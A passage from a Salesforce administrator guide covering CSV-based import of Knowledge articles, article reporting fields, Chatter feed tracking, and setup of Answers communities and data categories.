- If a date does not match the date format specified in the property file, the related article is not imported.
- If an HTML file references a file that isn't allowed, the related article is not imported.
- If an HTML file references an image that is missing, the related article is imported without the image.

• File field—enter the path relative to the file's location. If the specified path does not exist, the related article is not
imported. Note the following information about importing files:

1197
Customize Importing Articles

- We recommend that you create a folder for your files (for example, /files).
- Each file must not exceed 5 MB.

• Category groups—use category unique names to categorize articles. Use the plus symbol (+) to specify more than one
category (for example, Laptop+Desktop).
Note: Leaving the cell row empty causes your article to be set to No Categories. Also, if you specify a category
and its parent (for example, Europe+France) the import process skips the child category France and keeps the
parent category Europe, because application of a parent category implicitly includes the category's children.

• Channels—specify articles' channels using the keywords:


- application for the internal application. If you don't specify a channel, application is the default.
- sites for a public knowledge base.
- csp for the Customer Portal.
- prm for the partner portal.

Use the plus (+) symbol to specify more than one channel (for example, application+sites+csp to make an article
available in all channels).

The following example CSV file imports articles in a Product Offer article type. The CSV file contain titles, summaries, and
descriptions. It also classifies the articles in the category group Products and makes them available for specific channels. The
description__c field is a rich text area and only supports paths to HTML files. The summary__c field is a text field
and only supports raw text. The “Best Desktop Computer Deals” article has no summary; the cell is left blank because the
summary__c field is not mandatory.

Title summary__c description__c datacategorygroup.Products Channels


Free Digital Camera This is every photo data/freecamoffer.html Consumer_Electronics application+csp
Offer lover's dream! Get the
new Digital Camera.
This amazing new
camera includes
18-55MM Lens and
Telephoto Lens!
Best Desktop data/bestdeskcomputerdeals.html Desktop application+csp
Computer Deals
Free Shipping on data/freeshiplaptop.html Laptop+Desktops application+csp
Laptop and Desktops

Example articlesimport.csv CSV file:

Title,summary__c,description__c,datacategorygroup.Products,Channels
Free Digital Camera Offer,"This is every photo lover's dream! Get the new Digital Camera.
This amazing new camera includes 18-55MM Lens and Telephoto
Lens!",data/freecamoffer.html,Consumer_Electronics,application+csp
Best Desktop Computer Deals,,data/bestdeskcomputerdeals.html,Desktop,application+csp
Free Shipping on Laptop and Desktops,,data/freeshiplaptop.html,Laptop+Desktops,application+csp

1198
Customize Importing Articles

Specify Import Parameters (Optional)


If you want to overwrite the default parameters for the import, you can specify import parameters in a property file using key
names and the corresponding values. For example you could use the key DateFormat to specify that a date custom field
appears in the :DateFormatt=dd/MM/YYYY format or specify the character encoding to be used for the import.
Create a file with the .properties extension. and specify the required parameters, which can include:

Key Description Default Value


DateFormat Format of the date to read in the CSV yyyy-MM-dd
file
DateTimeFormat Format of the date and time to read in yyyy-MM-dd HH:mm:ss
the CSV file
CSVEncoding Character encoding used to read the ISO8859_15_FDIS
CSV file
CSVSeparator CSV file separator ,
RTAEncoding Default encoding used for the HTML ISO8859_15_FDIS
files (if not specified in the charset
attribute from the HTML meta tag).
Note: Salesforce.com does not
support UTF-32 character
encoding. We recommend using
UTF-8. If you use specify
UTF-16 character encoding,
ensure your HTML files specify
the right byte-order mark.

Note: You must specify only Java™ date formats; see Java date formats RFC (Request For Comments) on
http://java.sun.com/. Make sure the date format is not misleading. For example, if you choose the format yyyy-M-d,
a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at least :
• two digits for month and day format (MM, dd)
• four digits for year format (yyyy)
If a date in the CSV file does not match the date format specified in the property file, the related article is not imported.

Example articlesimport.properties property file:

DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8

Create and Upload a Zip File


To complete the import, create a zip file containing:
• The CSV file.
• The folder containing the HTML files to import.
• The folder containing the image files referenced in the HTML files.

1199
Customize Importing Articles

• The property file (optional).


Before uploading the zip file to Salesforce.com, ensure that:
• There is only one CSV file and only one property file (if provided).
• The CSV file and the property file are in the root directory.
• The compression process preserves the folder and subfolder structure.
• The zip file does not exceed 10 MB and the uncompressed files do not exceed 100 MB.
• The language selected on Setup ➤ Customize ➤ Knowledge ➤ Settings is the same language used in the articles you
are importing.
Upload your zip file:
1. Select Setup ➤ Data Management ➤ Import Articles.
2. Select the appropriate Article Type for the imported articles.
3. Click Browse to select the zip file, and click OK.
4. Click Import Now.
When the import is complete you receive an email with an attached log that provides details about the import.

View Import Status


To check the status of your imports, click Setup ➤ Monitoring ➤ Article Imports. All imports are listed, including zip file
names, article types, and submitted, started, and completed dates.
Each import displays a status:

Status Description Possible Action


Pending The zip file is uploaded and queued. You can click Cancel to cancel the
This import will start as soon as the import.
previous pending import is completed.
Processing The import is processing. If you want to stop the process or if the
process has been stopped, call
Salesforce.com Support. Salesforce.com
may stop an import if a maintenance task
has to be performed or the import exceeds
one hour.:
Stopping/Stopped The import is being stopped or is Contact Salesforce.com Support to restart
stopped by Salesforce.com Support. the import or click Cancel to cancel the
import.
Aborted The import has been canceled. The You can re-upload the zip file to restart
articles that already imported successfully the import, click Del to delete the import
are available in Salesforce Knowledge. entry from the Article Import Queue list,
or click Email Log to receive the
completion email and check the details
of your import.
Completed The import is complete. Successfully Note that this status does not mean the
imported articles are visible on the import is successful. Click Email Log to
Article Management tab in the My see the log file attached to the completion

1200
Customize Reporting on Articles

Status Description Possible Action


Draft Articles and All Draft email and check the details of your
Articles views. import.

See Also:
Custom Field Types on Articles
Managing Articles
Deleting Articles
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge

Reporting on Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types: “Manage Custom Report Types”
To create a public reports folder “Manage Public Reports”

As an administrator, you can create custom report types so users can create reports about Salesforce Knowledge articles. Custom
report types are the only way to make reports about articles available for your users—Salesforce.com does not provide sample
article reports or a standard report folder for articles.
The following sections explain how to define custom report types, create a public folder that appears on the Reports tab, and
add custom reports to the folder so users can easily access article reports. Field definitions for article reports and a list of tips
are also provided.

Step 1. Create a Custom Report Type for Article Data


To create a custom report:
1. Click Setup ➤ Create ➤ Report Types and click New Custom Report Type.
2. In the Primary Object drop-down menu, select the article-related object you want to report on:
• Knowledge Articles—Select if you want to compare information about individual articles, such as their creation dates,
published channels, and number of associated cases. If you choose this custom report type, you can also include article
vote statistics.
• Knowledge Article Searches—Select if you want to analyze the number of searches per day, month, or year for each
channel and role.
• Knowledge Article Views—Select if you want to analyze the number of views per day, month, or year for each channel
and role.
• Knowledge Article Votes—Select if you want to analyze the number of votes per day, month, or year for each channel
and role.

1201
Customize Reporting on Articles

• Knowledge Keyword Search—Select if you want to see which keywords have been used to search the knowledge base.

3. Complete the required fields and click Save.


Tip: In the Store in Category drop-down menu, we recommend choosing Customer Support Reports or Other
Reports. This is the category where users will find the custom report type on the Reports tab.

4. Make your choice on the Define Report Records Set page and click Save. If you chose Knowledge Articles as the primary
object, you can associate Article Vote Statistics or Article View Statistics as the secondary object.
5. As needed, remove and rearrange fields from your report layout.

Step 2. Create a Folder for Article Reports


Create a public folder where you can store article reports for your users. Reports you store in this folder will be available on
the Reports tab.
1. In the Report Folder section of the Reports tab, click Create New Folder.
2. Enter Article Reports in the Folder Label field.
3. Modify the Group Unique Name if needed.
4. Choose a Public Folder Access option. Select read/write if you want users to be able to add and remove reports.
5. Choose a folder visibility option and click Save.

Step 3. Create an Article Report


Using your custom report types, create article reports and save them to the new Article Reports folder.
Tip: To help you run an article report, review the report field definitions and report tips.

1. On the Reports tab, click Create New Custom Report or Create Report With New Report Builder.
2. Choose the category where your custom report types are stored, for example, Customer Support Reports or Other Reports.
Tip: The Cases with Articles report is available by default in the Customer Support Reports folder.

3. Find your report type and click Next to create your report.
For detailed information about creating a report, see Creating a Custom Report on page 2139 (if you're using the report
wizard) or Selecting a Report Type on page 2153 (if you're using the report builder).
4. When viewing your report, click Save As and save it in the new Article Reports folder if you want to make the report
available to other users.

Fields on Article Reports


The following article fields are available on reports.

Field Description
Case Association Count Number of cases attached to the article.
Channel Channel applicable to the given record; possible values include All Channels, Internal
App, Customer Portal, Partner Portal, and Public Knowledge Base. In reports using the

1202
Customize Reporting on Articles

Field Description
Knowledge Articles custom report type, each article has five records (rows): one for each
channel.
Count Depending on the report, the number of votes, views, or searches applicable to the duration
shown (Day, Month, Year).
Created By User who created the article.
Created Date Date the article was drafted. If the article has been published more than once, this is the
original draft date.
Cumulative Count Depending on the report, the total votes, views, or searches for the record.
Date Last date on which activity took place for the record. All records (rows) represent a date,
channel, and role combination.
Duration Depending on the report, indicates whether votes, views, or searches are a daily, monthly,
or yearly aggregation.
First Published Date Date the article was originally published.
Found Indicates whether the keyword shown was found during a search of the knowledge base.
Keyword Search term used to search published articles in the knowledge base.
Last Modified By User who changed the article most recently.
Last Modified Date Date the article was last changed.
Last Published Date Date the article was last published.
Related Role Name of the role that applies to the record. In reports using the Knowledge Article Votes,
Knowledge Article Views, and Knowledge Article Searches custom report types, each
record (row) in the report represents votes, views, or searches per channel per role.
Score Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life
calculation. Every 15 days, if an article has not received a new vote its average rating
moves up or down. This change ensures that over time, older or outdated articles don't
maintain artificially high or low ratings compared to newer, more frequently used articles.
Articles without recent votes trend towards an average rating of three stars.
Title Article title.
Total Sum The total score for an article including the points from all votes. Each vote provides a
number of points:
• 1 Star is −10 points
• 2 Stars is −5 points
• 3 Stars is 0 points
• 4 Stars is +5 points
• 5 Stars is +10 points

Total Views Number of times a published article has been viewed.


Total Votes Number of votes for an article.
Visible in Customer Indicator that the article is published in the Customer Portal.
Portal

Visible in Internal App Indicator that the article is published in the internal app (Articles tab).

1203
Customize Following Articles in Chatter Feeds

Field Description
Visible in Partner Portal Indicator that the article is published in the partner portal.

Visible in Public Indicator that the article is published in the public knowledge base.
Knowledge Base

Tips on Using Article Reports


The following tips may help you read your article-related reports:
• Create a Knowledge Keyword Search report to determine which terms users are looking for in your knowledge base.
• In reports using the Article custom report type, you will have at least five rows per article (one for each channel, including
“All Channels”).
• In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, each row represents a day, channel, and role combination. For example, if a user with the Kingmaker role views
articles in the internal app and the next day the same user views more articles in the internal app, the Article Views report
has two rows: one for each unique date.
• In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, the Count indicates the number of votes, views, or searches for the duration shown (Day, Month, or Year). The
Cumulative Count is the grand total for the history of the record.
• An article's score (rating) uses a half-life calculation. Every 15 days, if an article has not received a new vote its average
rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or
low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating
of three stars.
• If you want to report on highest-rated articles without taking into account the decay factored into the Score field, use
the Total Sum field.

See Also:
What is a Custom Report Type?
Setting Up Custom Report Types
Customizing Reports
Creating a Custom Report

Following Articles in Chatter Feeds


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit the feed tracking setup page: “Customize Application”

Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article
types:

1. Click Setup ➤ Customize ➤ Chatter ➤ Feed Tracking.

1204
Customize Modifying Category Group Assignments in Salesforce Knowledge

2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three
article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list.
3. Select Enable Feed Tracking, then click Save when you're done with the page.

Unlike other objects, individual fields on article types are not tracked. After a user opens a published article and clicks Follow
in the header, posts about that article on the user's home page feed can include:

• If the article is removed from the knowledge base for edit (unpublished). Three Months Free — Al Smith unpublished this
offer
• If the article is republished. Three Months Free — Al Smith published a new version of this offer
• If the article is republished and flagged as new by the publisher. Three Months Free — Al Smith published this new offer
• If the article is archived. Three Months Free — Al Smith archived this offer

The title link in all posts about a specific article opens the current version of that article in the knowledge base, whether
published, archived, or draft. A user without the “Manage Articles” permission who is following an article will not see posts
if the article's status changes from published to draft. When the article is republished, posts about the article resume. Users
with the “Manage Articles” permission see all posts about articles they follow except for article deletions. If an article is deleted
from the knowledge base, all posts about the article disappear from feeds regardless of user.

See Also:
Salesforce Chatter Overview
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Defining Article Types

Modifying Category Group Assignments in Salesforce


Knowledge
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify category groups assignments in Salesforce “Customize Application”
Knowledge:
AND
“Manage Salesforce Knowledge”

In Salesforce Knowledge, data categories help you classify articles. Authors assign the relevant categories to articles so that
users searching for articles can find and filter by category. For more information, see What are Data Categories? on page 1214
Data categories are organized by category group. After creating category groups, you can decide which groups should be used
for Salesforce Knowledge articles. For example, if your organization uses the Answers tab as well as Salesforce Knowledge,
you may want one category group to be used by the answers community and two other category groups to be used for articles.
Answers and articles can use the same category group.

1205
Customize Setting Up Answers

By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Data Category Assignments. A list of all category groups appears.
2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list
to the Available Category Groups list. Later, you can choose to make a hidden category group visible.
3. Click Save.

You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on
the Article Management tab. Note that authors can only access categories if the category group is active and the author's data
category visibility settings provide access to the category.

SETTING UP ANSWERS

Setting Up Answers
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings: “Customize Application”

To set up answers:

1. Enable answers and set the default community. on page 1207


2. Create a category group for answers and add data categories to the category group.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.

3. Assign the data categories to your answers community on page 1210.


4. Review the category group visibility settings to decide how you want to restrict access to categories and categorized questions
in the answers community.
5. If your organization has as role hierarchy set up:

a. Customize each role's category group visibility.


b. Assign roles to the users that you want to participate in the answers community.
c. (Optional) Designate default category group visibility for users without roles such as High-Volume Customer Portal
users.

6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a
new case:

a. On the Setup ➤ Customize ➤ Cases ➤ Page Layouts page, edit the case page layouts to include the Question field.

1206
Customize Enabling Answers and Assigning the Default Community

b. On the Setup ➤ Customize ➤ Cases ➤ Fields page, ensure that field-level security for the Question field makes
the field visible in the necessary profiles.

Only community members who have permission to create cases will see an Escalate to Case option on questions.
7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the
knowledge base. Click Setup ➤ Customize ➤ Knowledge ➤ Settings and ensure that Allow users to create an
article from a reply is checked.
8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers
community.
To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.
9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the
community administrator an email whenever a question has ten or more replies but no best answer. Questions do not
support approval processes or workflow tasks.
10. (Optional) Create reports for your answers community.
11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal.

See Also:
Answers Overview
Salesforce Answers Implementation Guide

Enabling Answers and Assigning the Default Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings: “Customize Application”

Answers is a feature of the Community application that enables users to ask questions and have community members reply
with answers. Community members can then vote on the helpfulness of each reply, and the person who asked the question
can mark one reply as the best answer.
To enable the answers feature:

1. Click Setup ➤ Customize ➤ Answers ➤ Settings.


2. Click Edit.
3. Use the Enable Answers checkbox to enable answers.
Enabling answers adds the Answers tab to the Community application and creates a community named Internal Community.
4. Select the default community for the Answers tab. You can only display one answers community at a time. You can either
use Internal Community as the default or create a new community and use it as the default.

1207
Customize Creating and Editing Communities

5. Click Save.

See Also:
Answers Overview
Creating and Editing Communities
Salesforce Answers Implementation Guide

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community: “Customize Application”

To create a new community or edit the details of an existing community:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.


Communities are shared by the ideas and answers features, allowing you to view and create communities from either
location.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 496.
Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

1208
Customize Creating and Editing Communities

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce.com users and not to Customer Portal or partner portal users, select Do Not Display
in Portal.

To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, “(External)” is appended to the community name. Communities that aren't
displayed in a portal have “(Internal)” appended to the name. For example, Laptop Products Community (External).
8. Click Save.

Community Expert Overview


A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce.com administrator can designate as
many community experts as necessary.
Before you select a public group to be community experts, note the following:
• A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
• The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile.
• Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
• If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 2506 and Enabling Customer Portal Login and Settings on page 1313.

See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

1209
Customize Assigning Data Categories to Answers

Assigning Data Categories to Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings: “Customize Application”

In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If
the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a
computer manufacturer you might create a Products category group for your Products community that has four categories:
Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one
of the categories to assign to a question.
The following example shows how the categories within a category group appear on the Answers tab.

Figure 9: Answers tab displaying categories

1. The community assigned to answers.


2. When you assign a category group to answers, the data categories within the group appear beneath the community name
on the Answers tab. Community members can assign these categories to their questions and browse within categories to
see related questions. The name of the category group isn't displayed within the answers community.

The name of the category group is not displayed in the answers community; however, all the categories within the group appear
below the community name on the Answers tab.
To assign a category group to answers:

1. Create a category group for answers and add data categories to the category group.

1210
Customize Editing and Deleting a Reply

We recommend naming the category group the same as the answers community so other administrators understand where
the category group is being used.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.

2. Go to Setup ➤ Customize ➤ Answers ➤ Data Category Assignments. The category group assignments page only
displays after you enable answers.
3. Click Edit.
4. Select the category group you want to assign to your answers community.
Note: If you change the category group for answers later, all the existing categories associated with your questions
are removed. The questions in your answers community become uncategorized until community members assign
the new categories to them.

5. Click Save.
You receive an email after the save process completes.

See Also:
Answers Overview
What are Data Categories?
About Category Group Visibility

Editing and Deleting a Reply


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit replies: “Edit” on questions
To delete replies: “Delete” on questions

Standard users without the “edit” and “delete” permissions on the answers object cannot edit or delete their replies. However,
as the Salesforce.com administrator, you can edit or delete any reply posted to a community. For example, you may want to
monitor your answers community and edit or delete replies that contain inappropriate content or offensive language.
To edit or delete a reply:

1. Click the question title to view a list of all replies for the question.
2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle
Bin.

Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
posting a reply.

1211
Customize Editing and Deleting a Question

To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.

See Also:
Answers Overview
Using Answers
Replying to a Question

Editing and Deleting a Question


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit any question: “Edit” on questions
To delete any question: “Delete” on questions

Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the
owner of the question can no longer delete it. As the Salesforce.com administrator, you can edit or delete any question posted
to a community. For example, you may want to monitor your answers community and edit or delete questions that contain
inappropriate content or offensive language.
To edit or delete a question:

1. Click the question title to view the question detail page.


2. Click Edit or Delete at the top of the page. When editing a question, you can change the title or description and select a
different category for the question. When deleting a question, the question (and all associated replies) goes to the Recycle
Bin.

Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
asking a question.
To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.

See Also:
Answers Overview
Using Answers
Asking a Question

1212
Customize Setting Up Reports for Answers

Setting Up Reports for Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types: “Manage Custom Report Types”
To delete custom report types: “Modify All Data”

As an administrator, you can create custom report types so users can run and create custom reports about questions, replies,
and votes. Custom report types are the only way to make reports about your answers community available for your
users—Salesforce.com does not provide sample answers reports or a standard report folder for answers.
To create a folder of answers reports for your users:

1. Set up a custom report type for answers.

• The primary object for your report is Questions.


• There isn't a specific report category for answers, so you probably want to store your report in the Other Reports or
Administrative Reports category.
• When setting up object relationships, Questions can have a relationship with Replies, and Replies can have a relationship
with Votes.

2. Create a new public folder for answers reports. This step requires the “Manage Public Reports” permission.
3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers
reports folder you created.

After completing these steps, a folder of answers reports is available to your users on the Reports home page.

See Also:
Answers Overview

1213
Customize What are Data Categories?

DATA CATEGORIES

What are Data Categories?


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Data categories can be used by Salesforce Knowledge (articles) and answers communities (questions) to help users classify
and find articles or questions. Administrators can use data categories to control access to articles and questions.
Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. Articles in the knowledge
base can be classified according to multiple categories that make it easy for users to find the articles they need. For example,
to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales
Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America,
Europe, and Asia at the second level, and so on
In an answers community, data categories help organize questions for easy browsing. Each community supports one category
group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling
categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab,
community members can assign one of the four categories to each question and then browse these categories for answers to
specific questions.

Benefits of Data Categories


Logical Classification of Articles
As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy and tag articles
with the attributes that are significant to your business.

Easy Access to Questions


As an answers community administrator, you can choose which data categories are visible on the Answers tab. Community
members can tag a question with a category, which makes finding questions and answers easier for other members.

Role-Based Control of Article and Question Visibility


As a knowledge base or answers community administrator, you can centrally control the visibility articles or questions
by mapping roles in the role hierarchy to categories in the category groups. When an article or question is categorized,
users in mapped roles can automatically see it.

Article Filtering
As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you
need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has

1214
Customize What are Data Categories?

expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your
category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are
helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles
classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles
like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category
filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would
not display.)

Article and Question Navigation


As an end user, you can navigate the categories on the Articles tab or Answers tab to find the information you need to
solve your problem.

Managing Category Groups for Articles and Questions


If your organization has Salesforce Knowledge and an answers community, you can create separate category groups or
use the same category group for articles and questions.

Overview of Data Categories in Articles


A category group is the container for a set of categories. In Salesforce Knowledge it corresponds to the name of the category
drop-down menus. For example, if you use the Data Categories setup page (Setup ➤ Customize ➤ Data Categories) to
create and activate a category group called Products, a Products menu displays on the Article Management tab, the article edit
page, the Articles tab in all channels, and the public knowledge base.
As an illustration, the figure below shows a knowledge base administrator's view of an article about laptop deals; using the
article edit page, the administrator has classified the article with Laptops in the Products category group, and USA in the
Geography category group.

Figure 10: An Article About Laptop Deals on the Article Management Tab

The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops
and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both
Laptops and USA.

Figure 11: An Article About Laptop Deals on the Articles Tab

1215
Customize What are Data Categories?

When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100
categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category
hierarchy helps users find the articles that are relevant to them quickly and easily.
By default, all Salesforce Knowledge users with a role have access to all categories; however, you can restrict category visibility
by role.

Overview of Data Categories in Answers Communities


An answers community supports one category group, and community members can assign one category to each question. Even
though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported
in your answers community. Child categories below the first level are not displayed in the community, and community members
can't assign these child categories to questions. The categories within the group display on the Answers tab below the community
name.

Figure 12: Answers tab displaying categories

By default, all community members have access to all categories; however, you can specify category visibility by role.

Implementation Tips
Consider the following information when planning and implementing data categories for your organization:
• You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories. To increase these limits, contact salesforce.com.
• If you want to use data categories in an answers community, after creating your category group you must assign it to a
community at Setup ➤ Customize ➤ Answers ➤ Data Category Assignments. You can only assign one category group
to an answers community. Salesforce Knowledge supports multiple category groups.
• Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is
supported in your answers community. Child categories below the first level are not displayed in the community, and
community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data
categories.
• Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
• When assigning categories to articles, you can choose up to 10 categories in a category group.

1216
Customize What are Data Categories?

• If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu.
• When searching for articles, selecting a category automatically includes the parent and children of that category and any
grandparents, up to and including the top level. Sibling categories are not included. For example, if a category hierarchy
has the levels All Products, Switches, Optical Networks, and Metro Core, selecting “Optical Networks” from the category
drop-down menu returns articles assigned to any of the four categories. However, if the Switches category has a sibling
category called Routers, selecting “Optical Networks” does not return articles classified within Routers. Category visibility
settings may limit the specific articles you can find.
• Once role-based visibility settings have been chosen for the categories:
- Users who are not assigned to a role can only see uncategorized articles and questions unless default category visibility
has been set up.
- By default Customer Portal users and partner portal users inherit the category group visibility settings assigned to their
account managers. You can change the category group visibility settings for each portal role.
- If you only have access to one category in a category group, the category drop-down menu for that category group does
not display on the Articles tab.

• Deleting a category:
- Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
- Permanently deletes its child categories.
- As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles
tab in all channels, and your company's public knowledge base.
- Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
- Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.

• Deleting a category group:


- Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not
edit them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During
the 45–day holding period, you can either restore a category group, or permanently erase it immediately.
- Deletes all categories within that group.
- Removes all associations between the group's categories and articles or questions.
- Removes all associations between the group's categories and roles.
- As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management
tab, and your company's public knowledge base.

• You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices
Consider the following tips when using data categories:
• To quickly manage data categories, use keyboard shortcuts.
• After creating or updating categories, set up category group visibility rules.
• Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

See Also:
Managing Data Categories
What is Salesforce Knowledge?

1217
Customize Managing Data Categories

Managing Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1214
Click Setup ➤ Customize ➤ Data Categories to view the Data Categories page where you can:

• Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as
the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two
category groups called Geography and Products, the Article Management and Articles tabs will have two category menus
from which to pick specific categories: Geography and Products. In answers communities, the name of the category group
does not display on the Answers tab.
• Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that
group. These are the values that users select when assigning a category to an article or question and when searching for
articles or questions.
